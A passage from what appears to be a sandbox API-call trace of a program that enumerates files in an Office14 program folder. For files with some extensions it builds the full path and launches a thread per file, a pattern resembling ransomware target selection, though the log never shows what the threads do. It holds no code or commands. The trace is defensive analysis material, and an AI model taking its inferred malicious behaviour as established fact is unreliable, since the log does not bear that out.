FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd62e3be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x77978, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC.EXE", cAlternateFileName="")) returned 1 [0156.287] wcscmp (_String1="MSOUC.EXE", _String2=".") returned 1 [0156.287] wcscmp (_String1="MSOUC.EXE", _String2="..") returned 1 [0156.287] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x593c7cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUTL.OLB", cAlternateFileName="")) returned 1 [0156.287] wcscmp (_String1="MSOUTL.OLB", _String2=".") returned 1 [0156.287] wcscmp (_String1="MSOUTL.OLB", _String2="..") returned 1 [0156.287] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93c0f8 [0156.287] wcscpy (in: _Dest=0x93c0f8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.287] wcscat (in: _Dest=0x93c0f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.287] wcscat (in: _Dest=0x93c0f8, _Source="MSOUTL.OLB" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB" [0156.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c0f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1210 [0156.288] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda57df00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd6309d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xda57df00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x45578, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUTLS.DLL", cAlternateFileName="")) returned 1 [0156.288] wcscmp (_String1="MSOUTLS.DLL", _String2=".") returned 1 [0156.288] wcscmp (_String1="MSOUTLS.DLL", _String2="..") returned 1 [0156.288] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f00800, ftCreationTime.dwHighDateTime=0x1caba23, ftLastAccessTime.dwLowDateTime=0xbde72640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f00800, ftLastWriteTime.dwHighDateTime=0x1caba23, nFileSizeHigh=0x0, nFileSizeLow=0x11560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPJEVTS.DLL", cAlternateFileName="")) returned 1 [0156.288] wcscmp (_String1="MSPJEVTS.DLL", _String2=".") returned 1 [0156.288] wcscmp (_String1="MSPJEVTS.DLL", _String2="..") returned 1 [0156.288] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab1b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcab1b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x62588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPPT.OLB", cAlternateFileName="")) returned 1 [0156.288] wcscmp (_String1="MSPPT.OLB", _String2=".") returned 1 [0156.288] wcscmp (_String1="MSPPT.OLB", _String2="..") returned 1 [0156.288] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93bf90 [0156.288] wcscpy (in: _Dest=0x93bf90, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.289] wcscat (in: _Dest=0x93bf90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.289] wcscat (in: _Dest=0x93bf90, _Source="MSPPT.OLB" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB" [0156.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1214 [0156.436] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe57c63a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xd65a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPRJ.OLB", cAlternateFileName="")) returned 1 [0156.436] wcscmp (_String1="MSPRJ.OLB", _String2=".") returned 1 [0156.436] wcscmp (_String1="MSPRJ.OLB", _String2="..") returned 1 [0156.436] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x971d08 [0156.436] wcscpy (in: _Dest=0x971d08, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0156.436] wcscat (in: _Dest=0x971d08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0156.436] wcscat (in: _Dest=0x971d08, _Source="MSPRJ.OLB" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB" [0158.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x971d08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e4 [0158.132] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6ae000, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xdac3c1c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6ae000, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x4e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="msproof7.dll", cAlternateFileName="")) returned 1 [0158.132] wcscmp (_String1="msproof7.dll", _String2=".") returned 1 [0158.132] wcscmp (_String1="msproof7.dll", _String2="..") returned 1 [0158.132] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x1963b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPST32.DLL", cAlternateFileName="")) returned 1 [0158.132] wcscmp (_String1="MSPST32.DLL", _String2=".") returned 1 [0158.133] wcscmp (_String1="MSPST32.DLL", _String2="..") returned 1 [0158.133] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x6a1356f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xdb4b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.EXE", cAlternateFileName="")) returned 1 [0158.133] wcscmp (_String1="MSPUB.EXE", _String2=".") returned 1 [0158.133] wcscmp (_String1="MSPUB.EXE", _String2="..") returned 1 [0158.133] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d978100, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d978100, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="mspub.exe.manifest", cAlternateFileName="MSPUBE~1.MAN")) returned 1 [0158.133] wcscmp (_String1="mspub.exe.manifest", _String2=".") returned 1 [0158.133] wcscmp (_String1="mspub.exe.manifest", _String2="..") returned 1 [0158.133] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x943a38 [0158.133] wcscpy (in: _Dest=0x943a38, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0158.133] wcscat (in: _Dest=0x943a38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0158.133] wcscat (in: _Dest=0x943a38, _Source="mspub.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest" [0158.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x943a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xce0 [0158.134] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33918f00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33918f00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3ff28, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.TLB", cAlternateFileName="")) returned 1 [0158.134] wcscmp (_String1="MSPUB.TLB", _String2=".") returned 1 [0158.134] wcscmp (_String1="MSPUB.TLB", _String2="..") returned 1 [0158.134] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x972140 [0158.134] wcscpy (in: _Dest=0x972140, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0158.134] wcscat (in: _Dest=0x972140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0158.134] wcscat (in: _Dest=0x972140, _Source="MSPUB.TLB" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB" [0158.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x972140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcdc [0158.135] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ad2d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32ad2d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xd1160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSQRY32.EXE", cAlternateFileName="")) returned 1 [0158.135] wcscmp (_String1="MSQRY32.EXE", _String2=".") returned 1 [0158.135] wcscmp (_String1="MSQRY32.EXE", _String2="..") returned 1 [0158.135] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e550, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSRTEDIT.DLL", cAlternateFileName="")) returned 1 [0158.135] wcscmp (_String1="MSRTEDIT.DLL", _String2=".") returned 1 [0158.135] wcscmp (_String1="MSRTEDIT.DLL", _String2="..") returned 1 [0158.135] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf055920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xff368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORDB.EXE", cAlternateFileName="")) returned 1 [0158.135] wcscmp (_String1="MSTORDB.EXE", _String2=".") returned 1 [0158.136] wcscmp (_String1="MSTORDB.EXE", _String2="..") returned 1 [0158.136] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7931a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59460250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7931a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x20158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE.EXE", cAlternateFileName="")) returned 1 [0158.136] wcscmp (_String1="MSTORE.EXE", _String2=".") returned 1 [0158.136] wcscmp (_String1="MSTORE.EXE", _String2="..") returned 1 [0158.136] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a28c350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x89b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORES.DLL", cAlternateFileName="")) returned 1 [0158.136] wcscmp (_String1="MSTORES.DLL", _String2=".") returned 1 [0158.136] wcscmp (_String1="MSTORES.DLL", _String2="..") returned 1 [0158.136] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7466000, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x6a2fe770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7466000, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0xdc158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWORD.OLB", cAlternateFileName="")) returned 1 [0158.136] wcscmp (_String1="MSWORD.OLB", _String2=".") returned 1 [0158.136] wcscmp (_String1="MSWORD.OLB", _String2="..") returned 1 [0158.136] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x971df8 [0158.136] wcscpy (in: _Dest=0x971df8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0158.136] wcscat (in: _Dest=0x971df8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0158.136] wcscat (in: _Dest=0x971df8, _Source="MSWORD.OLB" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB" [0158.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x971df8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xcd8 [0158.137] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633f6700, ftCreationTime.dwHighDateTime=0x1c9ce43, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633f6700, ftLastWriteTime.dwHighDateTime=0x1c9ce43, nFileSizeHigh=0x0, nFileSizeLow=0x46530, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSYUBIN7.DLL", cAlternateFileName="")) returned 1 [0158.137] wcscmp (_String1="MSYUBIN7.DLL", _String2=".") returned 1 [0158.137] wcscmp (_String1="MSYUBIN7.DLL", _String2="..") returned 1 [0158.137] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e32200, ftCreationTime.dwHighDateTime=0x1c62ad6, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e32200, ftLastWriteTime.dwHighDateTime=0x1c62ad6, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="MYSL.ICO", cAlternateFileName="")) returned 1 [0158.137] wcscmp (_String1="MYSL.ICO", _String2=".") returned 1 [0158.138] wcscmp (_String1="MYSL.ICO", _String2="..") returned 1 [0158.138] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636bfc00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xd79ccfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x636bfc00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0x1b968, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0158.138] wcscmp (_String1="NAME.DLL", _String2=".") returned 1 [0158.138] wcscmp (_String1="NAME.DLL", _String2="..") returned 1 [0158.138] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="NAMECO~1.DLL")) returned 1 [0158.138] wcscmp (_String1="NAMECONTROLPROXY.DLL", _String2=".") returned 1 [0158.138] wcscmp (_String1="NAMECONTROLPROXY.DLL", _String2="..") returned 1 [0158.138] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x1ab80, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLSERVER.EXE", cAlternateFileName="NAMECO~1.EXE")) returned 1 [0158.138] wcscmp (_String1="NAMECONTROLSERVER.EXE", _String2=".") returned 1 [0158.138] wcscmp (_String1="NAMECONTROLSERVER.EXE", _String2="..") returned 1 [0158.138] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948ed600, ftCreationTime.dwHighDateTime=0x1ca913a, ftLastAccessTime.dwLowDateTime=0xbdf30d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948ed600, ftLastWriteTime.dwHighDateTime=0x1ca913a, nFileSizeHigh=0x0, nFileSizeLow=0x26180, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0158.138] wcscmp (_String1="NAMEEXT.DLL", _String2=".") returned 1 [0158.138] wcscmp (_String1="NAMEEXT.DLL", _String2="..") returned 1 [0158.138] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a4c77f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x77cdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Data0011.DLL", cAlternateFileName="NL7DAT~1.DLL")) returned 1 [0158.138] wcscmp (_String1="NL7Data0011.DLL", _String2=".") returned 1 [0158.138] wcscmp (_String1="NL7Data0011.DLL", _String2="..") returned 1 [0158.138] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x258bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Lexicons0011.DLL", cAlternateFileName="NL7LEX~1.DLL")) returned 1 [0158.138] wcscmp (_String1="NL7Lexicons0011.DLL", _String2=".") returned 1 [0158.138] wcscmp (_String1="NL7Lexicons0011.DLL", _String2="..") returned 1 [0158.138] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17736b00, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa225ad60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x17736b00, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x589bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS0009.dll", cAlternateFileName="NL7MOD~3.DLL")) returned 1 [0158.138] wcscmp (_String1="NL7MODELS0009.dll", _String2=".") returned 1 [0158.138] wcscmp (_String1="NL7MODELS0009.dll", _String2="..") returned 1 [0158.138] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a36d00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa7323800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56a36d00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x5ef3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS000A.dll", cAlternateFileName="NL7MOD~1.DLL")) returned 1 [0158.138] wcscmp (_String1="NL7MODELS000A.dll", _String2=".") returned 1 [0158.138] wcscmp (_String1="NL7MODELS000A.dll", _String2="..") returned 1 [0158.138] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1cc400, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa4b90a40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3c1cc400, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x5697b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS000C.dll", cAlternateFileName="NL7MOD~2.DLL")) returned 1 [0158.138] wcscmp (_String1="NL7MODELS000C.dll", _String2=".") returned 1 [0158.138] wcscmp (_String1="NL7MODELS000C.dll", _String2="..") returned 1 [0158.138] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x652bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Models0011.DLL", cAlternateFileName="NL7MOD~4.DLL")) returned 1 [0158.139] wcscmp (_String1="NL7Models0011.DLL", _String2=".") returned 1 [0158.139] wcscmp (_String1="NL7Models0011.DLL", _String2="..") returned 1 [0158.139] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d95200, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42d95200, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPAUTHZ.DLL", cAlternateFileName="")) returned 1 [0158.139] wcscmp (_String1="NPAUTHZ.DLL", _String2=".") returned 1 [0158.139] wcscmp (_String1="NPAUTHZ.DLL", _String2="..") returned 1 [0158.139] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, 